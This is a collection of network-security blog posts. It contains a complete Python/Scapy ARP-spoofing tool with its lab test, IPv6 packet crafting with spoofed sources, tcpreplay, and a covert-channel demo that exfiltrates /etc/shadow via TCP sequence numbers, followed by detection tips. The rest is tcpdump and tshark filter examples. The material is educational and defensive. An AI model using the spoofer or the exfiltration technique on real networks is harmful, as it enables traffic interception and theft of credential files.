Sunday, January 10, 2016

Building your own tools with Scapy & Python - ARP Spoofing

A while back I did this blog post on creating DNS Spoofing tool using Scapy. For some strange reasons, it is one of my more popular blog posts. I thought since this is a well liked post, maybe I should do one on ARP spoofing. So this post addresses that. Consider this post as Building your own tools with Scapy & Python part 2

Since Address Resolution Protocol (ARP) is a broadcast protocol, it is possible for us to easily fake ARP replies by simply listening for ARP requests.
In this post, we will develop the code and in this post, we evaluate whether or not it works.




#!/usr/bin/env python
# Author: Nik Alleyne
# Author blog: securitynik.blogspot.com
# Contact: nikalleyne at gmail.com
# arpSpoof.py
# This code is simply for demonstration and education purposes
# if you use this code for anything malicious or you cause disruption
# to your environment or any other, in NO WAY AM I RESPONSIBLE!

from scapy.all import ARP, IP, sniff, send
from subprocess import call
from sys import exit, argv


# Print some basic usage information
def usage():
    print(' ./arpSpoof.py - author:Nik Alleyne - securitynik.blogspot.com ')
    print(' ./arpSpoof.py interface_to_listen_on ip_address_to_listen_for mac_you_would_like_to_use ')
    print(' eg. ./arpSpoof.py eth0 192.168.0.200 01:02:03:04:05:06')
    exit(0)


# This function listens for the ARP request and builds the response
def listen_and_build(src_intf, target_ip, my_mac):
    # Adding a variable named 'some_data' to make it interesting
    some_data = "Hey there watch me ride on ARP ;-) - securitynik"
  
    # using this list I will compare each byte within the protocol destination address
    # I needed to do this to ensure I keep the sniff filter as tight as possible
    pdst = []
  
    # The IP entered on the command line is being separated by the '.'
    pdst = target_ip.split('.')

    print(' Listening for ARP request for \'%s\' ... ' %target_ip)
  
    # Let's sniff for our ARP packet
    # To keep the filter as tight as possible, let's only capture ARP Requests
    # Take a look at 'http://securitynik.blogspot.ca/2015/12/a-few-not-so-basic-windump-examples.html' \
    # for the better understanding of the filter value
    get_arp_request = sniff(iface=src_intf, filter='arp[6:2] & 0x0F=0x01 and arp[24] & 0xFF='+ pdst[0] +' and arp[25] & 0xFF='+ pdst[1] +' and arp[26] & 0xFF='+pdst[2]+' and arp[27] & 0xFF='+pdst[3], count=1)
  
    # Uncomment the line below to verify the packet is captured
    #print(get_arp_request)

    # extract the IP of the host sending the request
    received_arp_ip_src = get_arp_request[0].getlayer(ARP).psrc

    # extract the MAC address of the host sending the request
    received_arp_hw_src = get_arp_request[0].getlayer(ARP).hwsrc

    # extract the destination which is being searched for
    received_arp_ip_dst = get_arp_request[0].getlayer(ARP).pdst
  
    print(' \n Found ARP Request ... ')
    print(' source host \'%s(%s)\' looking for destination host \'%s\'  ' %(received_arp_ip_src,received_arp_hw_src,received_arp_ip_dst))
  
    print(' \n Building your fake ARP reply ...')

    # start building the spoofed ARP request
    send_arp_reply = ARP()

    # Specify hardware type as Ethernet - let's use the value from the ARP request
    send_arp_reply.hwtype = get_arp_request[0].getlayer(ARP).hwtype

    # Specify the protocol type as IP - using the value from the ARP request
    send_arp_reply.ptype = get_arp_request[0].getlayer(ARP).ptype

    # Specify the Ethernet destination/source length. This is 48 bits or 6 bytes. Using values from ARP request
    send_arp_reply.hwlen = get_arp_request[0].getlayer(ARP).hwlen


    # Specify your protocol length. IPv4 is 32 bits or 4 bytes. Using values from ARP request
    send_arp_reply.plen = get_arp_request[0].getlayer(ARP).plen

    # Specify the OP code. In this case we use 2 since this is an ARP reply
    # This is probably the most important line of our code
    send_arp_reply.op = 0x02

    # Specify the MAC address which you would like to send
    # Let's take this from the command line. This is the 3rd opiton in the commane line argument
    send_arp_reply.hwsrc = my_mac

    # Specify your IP, or the IP would like to send to the requester.
    # Whatever is requested in the ARP request, we will send back in the ARP reply
    send_arp_reply.psrc = received_arp_ip_dst

    # Specify MAC of the host that should receive this reply.
    # We can take that from the request packet
    send_arp_reply.hwdst = received_arp_hw_src

    # specify the destination IP of the receiving host
    # once again we  can take this from the request
    send_arp_reply.pdst = get_arp_request[0].getlayer(ARP).psrc

    print(' sending your fake ARP reply .... ')
    print(' Reply from \'%s(%s)\' to requester \'%s(%s)\' ' %(send_arp_reply.psrc,send_arp_reply.hwsrc,send_arp_reply.pdst, send_arp_reply.hwdst))
    send(send_arp_reply/some_data, count=3)

    # Uncoment the line below if you would like to see your entire ARP reply packet
    #print(send_arp_reply.show())



def main():
    call('clear')
    if ( len(argv) != 4 ):
        usage()
    # Let's read the values used at the commanline to make our tool work
    listen_and_build(argv[1].strip(),argv[2].strip(), argv[3].strip())


if __name__ == '__main__':
    main()


So at this point you maybe asking ... but Nik how do we know this works?! ... and this is where I say I'm glad you asked ;-).


Let's look at the next post to verify this works as expected.



Download arpSpoof.py tool

Reference:
https://tools.ietf.org/html/rfc826
http://www.secdev.org/projects/scapy/

Building your own tools with Scapy & Python - ARP Spoofing - code testing

In this post, an ARP Spoofing tool was created. However, creating the tool is one thing, ensuring it works as expected is another. In this post we take a look at validating that the tool works.

First thing to note is that the tool needs "admin" level privileges to work.

Additionally, while we are "listening" for a specific request, we will run tcpdump and or wireshark to assist with our validation.

Let's load "arpSpoof.py"
When "arpSpoof.py" is executed without "appropriate" arguments it brings up the "usage" screen.


To ensure you can capture the ARP request let's add an interface, an IP to listen for and a MAC address to spoof.

./arpSpoof.py eth0 192.168.0.91 AA:BB:CC:DD:EE:FF

From above:
eth0 - is the interface we will listen on
192.168.0.91 - IP for which the ARP is being requested for
AA:BB:CC:DD:EE:FF - The MAC address we would like to assign for 192.168.0.91


Testing from Windows 10
Before we attempt to verify that it works, let's see what we have in the ARP cache and results from "ping"

From the above, we see there is no entry in the ARP cache and when we try to ping, it states "Destination host unreachable".
Continuing with the arguments which were earlier used above, we can now execute our command which will allow the tool to listen for the ARP request.




Now that we are "listening". Let's send a "ping" which will force an ARP request.

From above we see that our "ping" results in "Request timed out" as opposed to the previous message "Destination host unreachable". Additionally, we see that we have managed to provide the MAC address of "aa-bb-cc-dd-ee-ff" for host "192.168.0.1" and that this information has been successfully added to the Windows 10 computer ARP cache.


Note, there can be many reasons why it states "Request timed out" and not an actual "ping" reply. One of these could be a firewall. However, the objective of this post is not to verify all of that but to show how we can spoof the ARP reply and poison the ARP cache of the requesting host.


Taking a look at the packet in Wireshark, we see the following:



Above we see 1 request for "192.168.0.1" being asked for by "192.168.0.30". We then see our 3 responses claiming that
"192.168.0.1" is at "aa:bb:cc:dd:ee:ff".

Additionally, we can verify this is our response by taking a look at the data which was sent in the ARP reply.

Hope you enjoyed!

Saturday, January 2, 2016

Crafting your first IPv6 ICMPv6 Echo Request packet, with a taste of scapy

This post is a quick attempt to show how you can use scapy to craft an IPv6 packet.

To verify that this works we will first configure a host running Windows 10 to use a site local address "fec0::4/64" and our Linux host to use site local "fec0::2/64"

The image below shows our Windows 10 site local configuration

Image below shows our Linux host IPv6 site local configuration
Now that we have our two hosts configured let's go ahead and craft our packet to test connectivity.

Moving along!!

Let's craft our own ICMPv6 echo request, so that we can received an echo reply packet from our target.

Let's first build our IPv6 layer. However, before we move ahead, let's see what fields we have available to us for the IPv6 header in scapy.


Now that we know our fields, let's build our IPv6 header out by specifying our source of "fec0::02", our destination "fec0::04" and a "nh" or next header field of "58" which represents ICMPv6.









With our built out IPv6 header, let's now build our ICMPv6 echo request.


Let's first look at the fields which scapy provides for us to use to create our own ICMPv6 echo request.










Now that we know what we need to use, let's fill out our fields.

Now that we have filled our fields out, let's send our packet along its merry way. Wireshark will be running simultaneously on the target.

Above we see we sent one packet. Let's see if our target accepted and sent a reply.


Awesome! It looks like we've successfully crafted and sent an ICMPv6 echo request packet along its merry way. We also see that the host at "fec0::4" replied to our request with a reply.


See this post if you would like to craft an IPv6 TCP packet and this post if you would like to craft an IPv6 UDP packet.

Crafting your first IPv6 UDP packet, with a taste of scapy

This post is a attempt to show how you can use scapy to craft an IPv6 UDP packet.

To verify that this works we will first configure a host running Windows 10 to use a site local address "fec0::4/64" and our Linux host to use site local "fec0::2/64"

The image below shows our Windows 10 site local configuration

Image below shows our Linux host IPv6 site local configuration
Now that we have our two hosts configured let's verify that these can ping each other. Just so we know that connectivity works with normal communication let's "ping6" host "fec0::4" from host "fec0::2".

Image below shows the ping has been successful







Looks like we are good to go!

Moving along!!

Let's craft a UDP packet. We will use TCP source port 9002 and destination port 123.

Let's first build our IPv6 layer. However, before we move ahead, let's see what fields we have available to us for the IPv6 header in scapy.














Now that we know our fields, let's build our IPv6 header out by specifying a spoofed source of "fec0::0a", our destination "fec0::04" and a "nh" or next header field of "17" which represents UDP.








Let's now build our UDP header. Nothing special here, this is your typical UDP header.









Let's finally add some data just to make it interesting. We will just create a variable named "data" and add some text.



Now that we have it all, let's put it together and send our packet along it's merry way! On the target host we will also be running Wireshark to ensure the packet is received on the Windows 10 system.


From above, we see 1 packet was sent. Let's see what the Windows 10 host received.

Awesome! It looks like we've successfully crafted and sent an IPv6 UDP packet along its merry way.

See this post for crafting your first IPv6 TCP packet and this for your first ICMPv6 packet.

Crafting your first IPv6 TCP packet, with a taste of scapy

This post is a quick attempt to show how you can use scapy to craft an IPv6 TCP packet.

To verify that this works we will first configure a host running Windows 10 to use a site local address "fec0::4/64" and our Linux host to use site local "fec0::2/64"

The image below shows our Windows 10 site local configuration

Image below shows our Linux host IPv6 site local configuration
Now that we have our two hosts configured let's verify that these can ping each other. Just so we know that connectivity works with normal communication let's "ping6" host "fec0::4" from host "fec0::2".

Image below shows the ping has been successful






Looks like we are good to go!

Moving along!!

Let's craft a TCP packet. We will use TCP source port 9001 and destination port 445.

Let's first build our IPv6 layer. However, before we move ahead, let's see what fields we have available to us for the IPv6 header in scapy.

Now that we know our fields, let's build our IPv6 header out by specifying a spoofed source of "fec0::09", our destination "fec0::04" and a "nh" or next header field of "6" which represents TCP.









Let's now build our TCP header. Nothing special here, this is your typical TCP header.







Let's finally add some data just to make it interesting. We will just create a variable named "data" and add some text.



Now that we have it all, let's put it together and send our packet along it's merry way! On the target host we will also be running Wireshark to ensure the packet is received on the Windows 10 system.

Putting together our packet and sending it along its way.

From above, we see 1 packet was sent. Let's see what the Windows 10 host received.


Awesome! It looks like we've successfully crafted and sent an IPv6 TCP packet along its merry way.

See this post for crafting your first IPv6 UDP packet and this for your first ICMPv6 packet.

Thursday, December 10, 2015

tcpreplay - Taking a look at packet replaying.

While teaching the SANS 503 (Intrusion Detection In-Depth) Community class last week in Ottawa,  a student asked if the packets are actually replayed to the destination hosts. I stated yes but I thought I should also do a blog post on the topic.

In this example, I'm replaying SSH traffic which was captured earlier in the day and is now being replayed.

The objective of this post is just to show that yes the traffic would go to the destination.

Let's first configure the IP address of the eth0 interface and give it a default route. There is really no  need for the default route as the source and destination are on the same subnet. I just put it there as it is something I typically do. .

Let's verify the interface configuration


While we are attempting to connect to the host at 192.168.0.3, we will also run tcpdump in the background. This allows us write the traffic to a file and then we can replay later.

Now let's try to connect via SSH to the host at 192.168.0.3. Note the date and time.

These connections have all failed.

Now let's replay this traffic.



Let's see how many packets were captured via tcpdump.

Looks like we got 76 packets. If we compare this with the number of packets replayed via tcpreplay, we will see that the 76 matches the number of packets attempted and the 76 which were successful.
Here we have the packets which were sent via tcpreplay


Here we have what iptables saw



Let's compare the two images to see if we can detect this as replayed traffic.

Source Port 35935: The same in the original pcap and in the iptables log.
Destination Ports 22: The same in the original pcap and in the iptables log.
Sequence numbers: Remain the same across both
the pcap and the iptables.log
Acknowledge numbers:
Remain the same across both the pcap and the iptables.log
Flags: The flags are the same



Point to note is that while the traffic is replayed to the host, the application layer did not pick this traffic up and attempt create a SSH session.

So from the above, hopefully if anyone else had a similar questions about replaying of the traffic this post may help to clear it up.

Additional Readings:
http://tcpreplay.synfin.net/wiki/usage
http://tcpreplay.synfin.net/wiki/manual
http://tcpreplay.synfin.net/tcpreplay.html





Wednesday, December 9, 2015

Covert Channels - Part 2 - exfiltrating data through TCP Sequence Number field

A while back I did this blog post on transferring data via the IP ID field.
Recently, I had to do some work on this topic again, so I thought I should now publish the second part which I should have completed a lonnnnnng time ago.

In this post we will look at transferring the "/etc/shadow" file using "covert_tcp" via TCP sequence number field.

Our setup?
Everything is on one system but do note that covert_tcp has a client and server component.
Server configuration



Client configuration and execution


Above we see the client has been loaded and data being transmitted one byte at a time.

Below we see the server receiving data one byte at a time.

















A "ls -al" of the files shows their similarity.





While the data was exfiltrated, I also had "tcpdump" running in the background

Below shows the packets captured.

So what does the capture traffic look like?

How to detect and or mitigate against this type of traffic?

Let's  see what stands out.
1. Large number of SYN packets
If this is a legitimate connection attempt, then we need to see corresponding  SYN-ACK and a final ACK. The fact that there is a large number of SYNs with no complete 3-way handshake should make this standout as suspicious.

2. Large number of corresponding RST-ACKs
Attempts to connect to a port which is not listening should result in a RST-ACK. Therefore the question here should be why the persistence to continue connecting to a port which is not listening. The large number of RST-ACKs as seen in the packet capture should be reason to suspect something malicious.

3. All packets have the same IP length.
This is also strange. I look at this and immediately start to think of a crafted packet or something malicious.

4. The port number is reused.
Every new client connection should have a new source port. The fact that these are all the same suggests that there is something suspicious going on here and an investigation should be performed to determine the nature of this traffic.


So we highlighted a few points above. But is there anything else which can be used to detect this type of activity?! Statistical analysis, anomaly detection, behavioural analysis are all methods that can possibly be used to detect this type of activity. However, the 4 items above are clear signs of something malicious.

References:
http://securitynik.blogspot.ca/2014/04/covert-channels-communicating-over-tcp.html
http://www-scf.usc.edu/~csci530l/downloads/covert_tcp.c
http://firstmonday.org/ojs/index.php/fm/article/view/528/449
Packet Capture - myShadow.pcap



Tuesday, December 8, 2015

Some tshark examples a mix of basic and somewhat advance


Viewing all IP packets
tshark -n -r filename.pcap  -Y "ip"

Viewing all TCP packets

tshark -n -r filename.pcap  -Y "tcp"

Viewing protocol hierarchy
tshark -n -r filename.pcap  -z io,phs -q

View all IP endpoints

tshark -n -r filename.pcap  -z endpoints,ip -q

View all TCP endpoints

tshark -n -r filename.pcap  -z endpoints,tcp -q

View IP conversations
tshark -n -r filename.pcap  -z conv,ip -q

View TCP conversations

tshark -n -r filename.pcap  -z conv,tcp -q

Show tabular view with field headers

tshark -n -r filename.pcap  -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e tcp.flags -E header=y

Verify that the first two bytes of the IP header is 0x4500
tshark -n -r filename.pcap -x "ip[0:2] == 45:00"

Source IP is 192.168.0.2

tshark -n -r filename.pcap -x "ip[12:4] == c0:a8:00:02"

destination IP is 192.168.0.1

tshark -n -r filename.pcap -x "ip[16:4] == c0:a8:00:01"

Show IPv4 Destinations/Statistics and Ports

tshark -n -r filename.pcap  -z dests,tree -q

Follow TCP stream
tshark -n -r filename.pcap  -z follow,tcp,ascii,0 -q

a few not so basic windump examples

Verify IP verion is 4windump -nvv -r filename.pcap -X "ip[0] & 0xF0 = 0x40"

Verify IP header has no options. That is the IP header is 20 bytes
windump -nvv -r filename.pcap -X "ip[0] & 0x0F = 0x5"

Verify that IP protocl is ICMP

windump -nvv -r filename.pcap -X "ip[9] = 0x01"

Verify that IP protocol is UDP
windump -nvv -r filename.pcap -X "ip[9] = 0x11"

Verify that IP protocol is TCP
windump -nvv -r filename.pcap -X "ip[9] = 0x06"

Determine time to live is less than 128
windump -nvv -r filename.pcap -X "ip[8] < 128"

Tracking IP packets with More Fragments flag set
windump -nvv -r filename.pcap -X ip[6] = 0x20

Verifying that source IP is 10.0.0.6
windump -nvv -r filename.pcap -X "ip[12] = 0x0a && ip[13] = 0x00 && ip[14] = 0x00 && ip[15] = 0x06"

Verifying that destination IP is 151.164.1.8
windump -nvv -r filename.pcap -X "ip[16] = 0x97 && ip[17] = 0xa4 && ip[18] = 0x01 && ip[19] = 0x08"

All traffic from tcp source port = 23
windump -nn -r filename.pcap -X "tcp[0:2] = 23"

All traffic from tcp dst port 1254
windump -nn -r filename.pcap -X "tcp[2:2] = 1254"

All packets with SYN flag set
windump -nn -r filename.pcap -X "tcp[13] = 0x02"

All packets with SYN/ACK flags set
windump -nn -r filename.pcap -X "tcp[13] = 0x12

All packets with FIN flag set
windump -nn -r filename.pcap "tcp[13] & 0x01 = 0x01"

Looks for TCP packets with header length greater than 20 bytes
windump -nn -r filename.pcap "tcp[12] & 0xF0 > 0x50"

Look for packets with the PUSH flag set
windump -nn -r filename.pcap "tcp[13] & 0x08 = 0x08"

References
http://www.tcpdump.org/tcpdump_man.html


Additional Materials
https://www.comparitech.com/net-admin/tcpdump-cheat-sheet/



Windump basics by examples

Just a quick put together of some basic tcpdump commands.

In this post I will be targeting a .pcap file. However, these commands can be used for live capture

See all packets in the capture file
windump -n -r filename.pcap

Show only the first 2 packets
windump -n -r flename.pcap -c 2

Tracking host by source MAC address
windump -n -r filename.pcap -e "ether src 00:a0:cc:3b:bf:fa"

Tracking host by destination MAC address
windump -n -r filename.pcap -e "ether dst 00:a0:cc:3b:bf:fa"

Tracking host by IP, whether that IP is source or destination
windump -n -r filename.pcap "host 192.168.0.1"

Track host by source IP
windump -n -r filename.pcap "src host 192.168.0.1"

Track host by destination IP
windump -n -r filename.pcap "dst host 192.168.0.1"

Track port even if it is the source or destination
windump -n -r filename.pcap "port 1254"

Tracking a source port
windump -n -r filename.pcap "src port 1254"

Track a destination port
windump -n -r filename.pcap "dst port 1254"

Tracking a UDP specific UDP port
windump -n -r filename.pcap "udp port 1254"

Tracking a specific source UDP port
windump -n -r filename.pcap "udp src port 1254"

Tracking a specific destination udp port
windump -n -r filename.pcap "udp dst port 1254"

Capturing all ARP
windump -n -r filename.pcap "arp"

Capturing all IP packets
windump -n -r filename.pcap "ip"

Capturing all UDP packets
windump -n -r filename.pcap "udp"

Capturing all ICMP packets
windump -n -r filename.pcap "icmp"

Capturing all ICMP packets
windump -n -r filename.pcap "tcp"



References

http://www.tcpdump.org/tcpdump_man.html


Additional Materials
https://www.comparitech.com/net-admin/tcpdump-cheat-sheet/